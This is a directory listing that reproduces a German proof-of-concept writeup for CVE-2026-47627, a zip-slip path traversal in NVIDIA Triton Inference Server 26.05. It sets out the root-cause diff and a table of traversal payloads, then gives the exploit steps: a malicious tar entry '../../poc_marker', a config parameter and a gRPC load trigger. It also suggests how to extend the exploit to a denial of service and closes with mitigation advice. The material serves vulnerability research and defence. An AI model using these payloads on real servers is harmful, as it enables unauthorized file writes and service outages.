Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-47627 — Proof-of-Concept-Exploit für CVE-2026-47627, eine Path-Traversal-Schwachstelle im NVIDIA Triton Inference Server, die über Zip-Slip zu beliebigem Dateischreiben führt. Enthält detaillierte Analyse, Laborumgebung und Ein-Klick-Exploit-Skripte. | Kitploit
Tools/GitHubGitHub/anekazek/cve-2026-47627
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubanekazek/cve-2026-47627

cve-2026-47627

Proof-of-Concept-Exploit für CVE-2026-47627, eine Path-Traversal-Schwachstelle im NVIDIA Triton Inference Server, die über Zip-Slip zu beliebigem Dateischreiben führt. Enthält detaillierte Analyse, Laborumgebung und Ein-Klick-Exploit-Skripte.

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Vollständiges Writeup der Forschungsergebnisse & PoC in diesem Repo (Image nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). Das Repo ist so eingerichtet, dass es immer explicit ist, damit der PoC ohne Neustart über gRPC funktioniert.


Inhaltsverzeichnis

  1. CVE-Zusammenfassung
  2. Laborumgebung
  3. Anatomie der Schwachstelle
  4. Root-Cause-Analyse (Diff 26.05 → 26.06)
  5. Exploit-Pfade: Welche sind wirklich betroffen?
  6. Haupt-PoC: Zip-Slip über EXECUTION_ENV_PATH
  7. So führst du den PoC aus (One-Click)
  8. Traversal-Nachweis (Kein Fake-500)
  9. DoS-Auswirkungen
  10. Mitigation
  • Repo-Struktur (Nach der Bereinigung)
  • Referenzen & Zeitplan

  • 1. CVE-Zusammenfassung

    FeldWert
    CVECVE-2026-47627
    CNA[email protected]
    Veröffentlicht2026-08-18 (NVD Awaiting Analysis)
    BulletinNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 KRITISCH AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 Path Traversal
    Betroffen0.0-26.05 (server v2.69.0 / core r26.05)
    Behoben26.06 (server v2.70.0 / core r26.06)
    AuswirkungDoS (CNA-Beschreibung) — diese Forschung beweist Datei-Schreiben außerhalb von /models via Zip-Slip, was zu DoS/Ressourcenerschöpfung erweitert werden kann
    CreditMartin Brodeur

    Ehrlicher Hinweis: Die CNA-Beschreibung nennt nur path traversal → DoS ohne Details. Dieses Writeup rekonstruiert die Bug-Stelle über den Diff r26.05..r26.06 und direkte Tests im Container 26.05-py3.


    2. Laborumgebung

    Image: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose ist immer explicit (in diesem Repo bereits gepatcht):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 sind ebenfalls bereits explicit.

    Triton-Modi:

    • NONE (Standard-Upstream) → lädt einmal beim Start, POST /v2/repository/models/.../load → 503, Neustart erforderlich, um neue Modelle zu laden.
    • POLL → scannt das Repo jede Sekunde, lädt automatisch, blockiert weiterhin explizites Laden.
    • EXPLICIT (dieses Repo) → scannt nicht, öffnet aber gRPC load_model / POST /load → PoC ohne Neustart über gRPC.

    Ports: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Metriken | Prometheus |

    Ausgangsmodelle:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (python backend, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    Schnellstart:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + infer identity_onnx
    

    3. Anatomie der Schwachstelle

    root@kitploit:~
    User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' check    FileExists / extract
    
    • Wenn join ohne canonicalize oder eine falsche rfind(parent,0)==0-Prüfung (Teiltreffer /models vs /models_evil) verwendet wird, kann ../ ausbrechen.
    • DoS tritt auf, wenn die traversierte Datei ein FIFO, /dev/zero, /proc/self/mem ist oder das Tar ../../-Einträge enthält, die Systemdateien überschreiben → Hang / OOM / Crash.

    Drei Forschungsfragen (aus dem ersten Bericht):

    1. Wo kontrolliert der Benutzer den Pfad? → model_name in gRPC RepositoryModelLoad, EXECUTION_ENV_PATH-Tar-Eintrag, file:-Override, TRITON_BATCH_STRATEGY_PATH.
    2. Wie wird der Pfad verwendet? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. Welche Auswirkung hat das? → DoS über Ressourcenerschöpfung / Hang. In diesem Repo wird Datei-Schreiben nach /tmp/poc_marker nachgewiesen.

    4. Root-Cause-Analyse (Diff 26.05 → 26.06)

    Repo core (r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — Fix dcb315d + 72f3d9b:

      root@kitploit:~
      // VULN (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → Bug bei Teiltreffer: "/models"-Präfix von "/models_evil/file" wird als inside betrachtet
      
      // FIXED (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → muss '/' nach dem Präfix sein, "/models_evil" ist jetzt korrekt outside
      

      Verwendet in src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) und src/model_repository_manager/model_repository_manager.cc:162 (file:).

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (März 2026, bereits in 26.05, aber in 26.06 verschärft):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      Das bewirkt, dass gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT in 26.05 (bereits blockiert). Aber %2f (encodiertes /) kommt durch, weil es kein literales / ist → 500-Literal-Poll.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 Test zipslip_test.py: Tar wird ohne Prüfung auf .. / absolute Pfade extrahiert. Eintrag ../../poc_marker aus /models/poc_exploit/malicious_env.tar.gz wird nach /tmp/poc_marker extrahiert (außerhalb des Modellverzeichnisses). Fix in 26.06: Verwendung von ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + Prüfung IsChildPathEscapingParentPath.

    Repo server (r26.05..r26.06): nur sagemaker_server.cc:1027 (RE2::FullMatch-Prüfung) + http_server.cc:2440 (atoi→stoi), nicht der Pfad dieser CVE.

    Fazit: Der model_name-Pfad über HTTP/gRPC ist bereits in 26.05 durch ValidateModelName blockiert, aber der Zip-Slip im Tar ist es nicht — genau das nutzt der PoC dieses Repos aus.


    5. Exploit-Pfade: Welche sind wirklich betroffen?

    VektorPayload26.05 ErgebnisBetroffen?
    HTTP roh ../POST /v2/repository/models/../tmp/pwn/load404 (Routing normalisiert)❌
    HTTP encodiert ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 literal, Poll /models/..%2ftmp%2fpwn existiert nicht❌ (Fake-500, keine Traversal)
    gRPC roh ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (bereits blockiert)
    gRPC encodiert ..%2fload_model('..%2ftmp%2fpwn')500 Literal-Poll❌
    file:-Override ../models_evilfile:../models_evil/pwn400/500 je nach Teiltreffer⚠️ (abhängig vom IsChildPathEscapingParentPath-Bug, aber für model_name bereits durch ValidateModelName blockiert)
    EXECUTION_ENV_PATH-Tar ../../poc_markermalicious_env.tar.gz-Eintrag ../../poc_marker200 + Datei in /tmp/poc_marker✅ VULN

    Die Analogie 500 vs 400 im alten Writeup war falsch: 500 = Datei existiert nicht (Tür existiert nicht), 400 = durch Validierung abgelehnt (Tür ist verschlossen). Beides führt nicht hinein. Nur 200 + Datei in /tmp ist der Beweis.


    6. Haupt-PoC: Zip-Slip über EXECUTION_ENV_PATH

    Idee: Der Python-Backend-Parameter EXECUTION_ENV_PATH zeigt auf $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Beim load_model('poc_exploit') extrahiert das Backend pb_env.cc:292 das Tar ohne Sanitisierung. Der Eintrag ../../poc_marker entkommt aus .../poc_exploit/ nach /tmp/poc_marker.

    PoC-Schritte (automatisiert in scripts/exploit.py:28 & exploit.ps1:20):

    1. Kopiere echo_python → poc_exploit (scripts/exploit.py:35)
    2. Füge config.pbtxt an (scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. Erstelle Tar (scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. Trigger gRPC load_model('poc_exploit') (scripts/exploit.py:60) — ohne Neustart, weil explicit.
    5. Verifiziere docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

    7. So führst du den PoC aus (One-Click)

    Voraussetzungen: Docker, Image 26.05-py3 bereits mit docker compose up -d gestartet (Repo ist bereits explicit).

    Python (ohne Neustart, über gRPC):

    root@kitploit:~
    py scripts/exploit.py              # auto-detect explicit → gRPC
    py scripts/exploit.py --keep       # Artefakte für manuelle Prüfung behalten
    # manuelle Prüfung: docker exec tritonserver-test cat /tmp/poc_marker
    # manuelle Bereinigung: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    Zurück zu MODE_NONE (falls Standard-Upstream gewünscht):

    root@kitploit:~
    # docker-compose.yml:12 bearbeiten, --model-control-mode=explicit entfernen
    docker compose up -d --force-recreate
    

    Blockiertest (muss 400/404/500 sein, nicht 200):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # war im alten Repo, jetzt entfernt — nutze exploit.py-Log
    # oder manuell:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. Traversal-Nachweis (Kein Fake-500)

    Verwundbar (26.05) — exploit.py-Ausgabe:

    root@kitploit:~
    [*] Triggering exploit via gRPC load (no restart)...
    [+] gRPC load sent
    [+] VULNERABLE: /tmp/poc_marker exists outside /models
        cat: pwned
    [+] Exploit succeeded — file write outside repository confirmed
    

    Verifizierung:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    Gepatcht (26.06) — erwartet:

    root@kitploit:~
    [-] Not vulnerable: /tmp/poc_marker not found
    # log: Path contains '..'  (oder Path is absolute)
    

    HTTP/gRPC .. muss 400 sein, nicht 500:

    root@kitploit:~
    # 26.05 gRPC roh ../ → 400 INVALID_ARGUMENT (bereits durch ValidateModelName blockiert)
    # 26.05 gRPC ..%2f → 500 Literal-Poll (Validierung umgangen, aber keine echte Traversal)
    # 26.06 beide → 400
    

    9. DoS-Auswirkungen

    CNA schreibt DoS, aber dieser Zip-Slip kann Datei-Überschreiben → DoS bewirken:

    • Überschreibe model.py / config.pbtxt anderer Modelle → Modell lädt nicht → 503
    • Tar mit großem bin/activate / FIFO /tmp/fifo → Thread-Hang in pb_env.cc → UNAVAILABLE
    • Flood load_model mit Tar ../../dev/zero (unendlich) → OOM

    Dieses Repo konzentriert sich auf Datei-Schreiben als Traversal-Nachweis; DoS kann mit einem Tar erweitert werden, das 1/model.py mit einer Endlosschleife enthält.


    10. Mitigation

    1. Patch: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. Workaround 26.05:
      • 8000/8001 nicht ins Internet exponieren (Reverse-Proxy + Auth)
      • WAF blockt .. & %2f in URLs & EXECUTION_ENV_PATH
      • Python-Backend EXECUTION_ENV_PATH deaktivieren, falls nicht benötigt
    3. Erkennung: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. Repo-Struktur (Nach der Bereinigung)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # python backend sample
    │   └── identity_onnx/        # onnxruntime sample
    ├── scripts/
    │   ├── exploit.py:1          # Haupt-PoC (Python, One-Click, gRPC, kein Neustart)
    │   ├── generate_model.py     # identity_onnx neu generieren
    │   └── client_test.py        # health + infer test
    ├── exploit.ps1:1             # Haupt-PoC (PowerShell, One-Click)
    ├── docker-compose.yml:12     # immer explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # immer explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # dieses Writeup
    

    Entfernt: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. Referenzen & Zeitplan

    • Bulletin NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Awaiting Analysis)
    • Fix-Commits core r26.06: dcb315d (Modernize Child Path), 72f3d9b (child path test), e520f8c7 (zipslip test), 50830ba/66f09f8 (ValidateModelName)
    • Fix server r26.06: v2.70.0 (690f9dd)
    • Credit: Martin Brodeur
    DatumEreignis
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 POSIX trim
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 zipslip test
    2026-06-2626.06 / v2.70.0 Patch-Release
    2026-08-18CVE-Veröffentlichung
    2026-09-02PoC-Repo dieses Writeups auf 26.05-py3 verifiziert → VULNERABLE

    Hinweise

    Dieser PoC dient Bildungszwecken & geschlossenen Laboren. Exponiere 8000/8001 nicht ohne Auth. Führe nach der Demo immer exploit.py --keep und dann docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit aus.

    Tool herunterladen